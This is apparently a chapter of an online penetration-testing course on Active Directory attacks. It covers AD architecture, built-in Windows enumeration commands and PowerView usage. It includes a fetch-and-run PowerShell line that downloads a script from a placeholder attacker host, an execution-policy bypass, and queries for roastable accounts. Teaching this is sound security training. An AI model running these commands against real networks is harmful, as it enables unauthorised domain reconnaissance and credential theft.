GHOSTNET›ACTIVE DIRECTORY ATTACKS›CONCEPT
LAB →
MOD-05 · ADVANCED MODULE

ACTIVE DIRECTORY ATTACKS

Architecture · BloodHound · Kerberoasting · AS-REP Roasting · Pass-the-Hash · DCSync · Golden Tickets · LLMNR · SMB Relay · Lateral Movement

8
CHAPTERS
~2.8hr
TOTAL READ
ADVANCED
DIFFICULTY
MOD-05
IDENTIFIER
BEGINNER~15 min READCHAPTER 1 OF 10

Active Directory Architecture

KEY POINTS · THE QUICK VERSION
  • The Domain Controller stores all domain password hashes in NTDS.dit — it is the ultimate target
  • Kerberos uses encrypted tickets for authentication — the ticket encryption is what attackers crack
  • NTLM authentication sends the hash directly — hashes can be used without cracking (Pass-the-Hash)
  • Built-in Windows commands (net user, whoami) reveal enormous amounts of AD info with no extra tools
Scan these first, then read below for the depth and examples — or jump straight to the lab.

Active Directory (AD) is Microsoft's directory service — the backbone of nearly every enterprise Windows environment. It authenticates users, manages machines, enforces Group Policy, and controls resource access. For a penetration tester, understanding AD is the single highest-leverage skill in enterprise engagements.

Core Components

COMPONENTFUNCTIONATTACK RELEVANCE
Domain Controller (DC)Authenticates users, stores the AD database (NTDS.dit)Primary target — compromise DC = own the domain
NTDS.ditThe AD database — contains all user password hashesDump with DCSync or physical access for all domain hashes
LDAPProtocol for querying AD objects (users, groups, computers)Enumerate users, groups, GPOs, SPN accounts
KerberosAuthentication protocol using tickets instead of passwordsKerberoasting, Pass-the-Ticket, Golden/Silver Tickets
NTLMOlder challenge-response auth protocol — still widely usedPass-the-Hash, NTLM relay, Responder captures
Group Policy (GPO)Centrally push configurations to domain machinesWritable GPOs allow pushing malicious configs domain-wide
Service Principal NamesIdentifiers for Kerberos-enabled servicesKerberoasting — request TGS ticket for any SPN user
Domain TrustRelationship allowing cross-domain authTrust abuse for cross-domain privilege escalation

Basic Manual Enumeration (No Tools)

👁 WATCH THIS · you don't need to run it yet — just read along
// BUILT-IN WINDOWS COMMANDS — NO TOOLS NEEDED
# Get domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# List all domain users
net user /domain

# List all domain groups
net group /domain

# List Domain Admins members
net group "Domain Admins" /domain

# Current user privileges and group membership
whoami /all

# System domain info
systeminfo | findstr /i "domain"

# DNS — find Domain Controllers
nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.local
What you're seeing: These are questions you ask the network, typed one line at a time. "Who are all the users in this domain?" "Who sits in the Domain Admins group?" "What am I allowed to do?" The point is not the exact spelling — it is that before any fancy tool, Windows itself will answer these questions for anyone who asks politely.
↪ You'll run enumeration like this on a live lab domain in ↪ the Active Directory lab.

PowerView Quick Enumeration

// POWERVIEW — LOAD AND ENUMERATE
# Load PowerView (from compromised host with web access):
IEX(New-Object Net.WebClient).downloadString('http://YOUR_IP/PowerView.ps1')

# Or bypass execution policy and load from disk:
powershell -ep bypass -c "Import-Module .PowerView.ps1"

# Basic enumeration:
Get-Domain
Get-DomainUser | select samaccountname, description
Get-DomainGroup "Domain Admins" | select members
Get-DomainComputer | select name, operatingsystem
Get-DomainGPO | select displayname

# Find Kerberoastable users (have SPNs):
Get-DomainUser -SPN | select name, serviceprincipalname

# Find AS-REP Roastable users:
Get-DomainUser -PreauthNotRequired | select samaccountname
BEGINNER NOTE

Think of Active Directory like a company's HR database + security guard combined. The Domain Controller is the head of HR — it knows every employee (user account), their access badge (password hash), and what rooms they can enter (permissions). Attacking AD means convincing HR to hand over everyone's badges.

RECAP · CHECK YOURSELF
  • The Domain Controller stores all domain password hashes in NTDS.dit — it is the ultimate target
  • Kerberos uses encrypted tickets for authentication — the ticket encryption is what attackers crack
  • NTLM authentication sends the hash directly — hashes can be used without cracking (Pass-the-Hash)
  • Built-in Windows commands (net user, whoami) reveal enormous amounts of AD info with no extra tools
Read to the end to count this chapter
▸ READY TO PRACTISE
You've now covered enough for Lab steps 1–2 of 22. Try them in the lab while it's fresh.
OPEN LAB ▸
⚡ TEST YOURSELF
End-of-chapter quiz
A dozen questions — recall and practical. Graded, earns up to 20 XP.
PRACTISE IN THE LAB ▸
READY TO PRACTICE?
MOD-05 Interactive Lab
22 steps · 495 XP · Real commands · Flag captures
LAUNCH LAB →
← MOD-04: OFFENSIVEMOD-06: WEB ATTACKS →